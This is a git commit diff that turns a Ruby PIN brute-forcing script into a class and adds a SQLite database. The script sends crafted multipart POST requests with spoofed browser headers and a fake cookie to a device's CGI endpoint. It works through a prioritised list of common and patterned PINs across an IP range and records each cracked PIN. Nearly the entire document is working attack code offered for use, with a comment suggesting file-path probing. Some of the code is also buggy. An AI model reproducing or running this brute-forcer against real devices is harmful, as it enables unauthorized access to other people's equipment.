turning into a class, adding a db - it's almost a real project
This commit is contained in:
parent
a6cf118018
commit
3dd7b04e9e
@ -3,54 +3,85 @@
|
||||
|
||||
require 'json'
|
||||
require 'net/http'
|
||||
require 'sequel'
|
||||
require 'uri'
|
||||
|
||||
# return a Net::HTTP::Post request suitable for validating +pin+
|
||||
def get_request(uri, pin)
|
||||
request = Net::HTTP::Post.new(uri.request_uri)
|
||||
request['Accept'] = 'application/json, text/plain, */*'
|
||||
request['Accept-Encoding'] = 'gzip, deflate'
|
||||
request['Accept-Language'] = 'en-US,en;q=0.8'
|
||||
request['Connection'] = 'keep-alive'
|
||||
request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
|
||||
request['Origin'] = sprintf('http://%s', uri.host)
|
||||
request['Referer'] = sprintf('http://%s/login', uri.host)
|
||||
request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
|
||||
class BfLogin
|
||||
|
||||
# TODO determine necessity of this, given fuzzing, it's probably unnecessary
|
||||
request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)
|
||||
attr_reader :address, :dbh, :errors, :responses
|
||||
|
||||
body = Array.new
|
||||
def initialize(address)
|
||||
@address = address
|
||||
@errors = Array.new
|
||||
@responses = Array.new
|
||||
|
||||
body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
|
||||
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
|
||||
body << 'Content-type: plain/text'
|
||||
body << '' # newline
|
||||
body << sprintf('<properties sys.validate-password="%s"/>', pin)
|
||||
body << '-----------------------------7da24f2e50046'
|
||||
db = 'bf_login.db'
|
||||
@dbh = Sequel.connect(sprintf('sqlite://%s', db))
|
||||
end
|
||||
|
||||
request.body = body.join("\r\n")
|
||||
request
|
||||
end
|
||||
def initialize_db
|
||||
@db.create_table? :pins do
|
||||
primary_key :id
|
||||
String :ip
|
||||
String :pin
|
||||
Date :created
|
||||
end
|
||||
end
|
||||
|
||||
# return a Net::HTTP::Response object
|
||||
def check_pin(url, pin)
|
||||
def add_pin_to_db(ip, pin)
|
||||
@dbh[:pins].insert(
|
||||
:ip => ip,
|
||||
:pin => pin,
|
||||
:created => Time.now,
|
||||
)
|
||||
end
|
||||
|
||||
uri = URI.parse(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
# return a Net::HTTP::Post request suitable for validating +pin+
|
||||
def get_request(uri, pin)
|
||||
request = Net::HTTP::Post.new(uri.request_uri)
|
||||
request['Accept'] = 'application/json, text/plain, */*'
|
||||
request['Accept-Encoding'] = 'gzip, deflate'
|
||||
request['Accept-Language'] = 'en-US,en;q=0.8'
|
||||
request['Connection'] = 'keep-alive'
|
||||
request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
|
||||
request['Origin'] = sprintf('http://%s', uri.host)
|
||||
request['Referer'] = sprintf('http://%s/login', uri.host)
|
||||
request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
|
||||
|
||||
# TODO determine necessity of this, given fuzzing, it's probably unnecessary
|
||||
request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)
|
||||
|
||||
body = Array.new
|
||||
|
||||
body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
|
||||
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
|
||||
body << 'Content-type: plain/text'
|
||||
body << '' # newline
|
||||
body << sprintf('<properties sys.validate-password="%s"/>', pin)
|
||||
body << '-----------------------------7da24f2e50046'
|
||||
|
||||
request.body = body.join("\r\n")
|
||||
request
|
||||
end
|
||||
|
||||
# return True|False
|
||||
def check_pin(url, pin)
|
||||
|
||||
uri = URI.parse(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
|
||||
request = get_request(uri, pin)
|
||||
response = http.request(request)
|
||||
|
||||
# <properties sys.validate-password="0"></properties>
|
||||
response.body.match(/1/) ? true : false
|
||||
end
|
||||
|
||||
request = get_request(uri, pin)
|
||||
http.request(request)
|
||||
end
|
||||
|
||||
#
|
||||
## main()
|
||||
|
||||
address = ARGV.pop
|
||||
errors = Array.new
|
||||
responses = Array.new
|
||||
output = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
|
||||
|
||||
if address.nil?
|
||||
puts sprintf('usage: %s <ipaddress/range>', __FILE__)
|
||||
puts sprintf(' %s 192.168.1.42', __FILE__)
|
||||
@ -77,7 +108,7 @@ end
|
||||
|
||||
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
|
||||
|
||||
# TODO come up with way to generate patterns - keys that are nearby
|
||||
# TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
|
||||
|
||||
# commonly used PINs that follow a pattern
|
||||
0.upto(9) do |i|
|
||||
@ -93,6 +124,7 @@ pins = [ prioritized, _pins.keys ].flatten # hackery
|
||||
|
||||
targets.each do |target|
|
||||
|
||||
app = BfLogin.new(target)
|
||||
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
|
||||
puts sprintf('url: [%s]', url)
|
||||
|
||||
@ -104,11 +136,11 @@ targets.each do |target|
|
||||
puts sprintf(' trying pin[%s]', pin)
|
||||
|
||||
response = check_pin(url, pin)
|
||||
responses << response
|
||||
responses << { :ip => target, :pin => pin, :results => response }
|
||||
|
||||
# <properties sys.validate-password="0"></properties>
|
||||
if response.body.match(/1/)
|
||||
puts sprintf('INFO: found the pin[%s]', pin)
|
||||
if response
|
||||
app.add_pin_to_db(target, pin)
|
||||
puts sprintf('INFO: found PIN[%s] for [%s]', pin, target)
|
||||
break
|
||||
end
|
||||
|
||||
@ -121,12 +153,16 @@ targets.each do |target|
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# TODO something better here
|
||||
errors.each do |e|
|
||||
puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
|
||||
end
|
||||
unless errors.empty?
|
||||
errors.each do |e|
|
||||
puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
|
||||
end
|
||||
|
||||
puts sprintf('ERROR: [%d] total errors', errors.size)
|
||||
exit 1 unless errors.empty?
|
||||
puts sprintf('ERROR: [%d] total errors', errors.size)
|
||||
else
|
||||
# TODO this is going to get lost in the console output when running against multiple targets -- should we stop printing the PINs attempted?
|
||||
puts sprintf('tested[%s] PINs, found correct one[%s]', responses.size, )
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user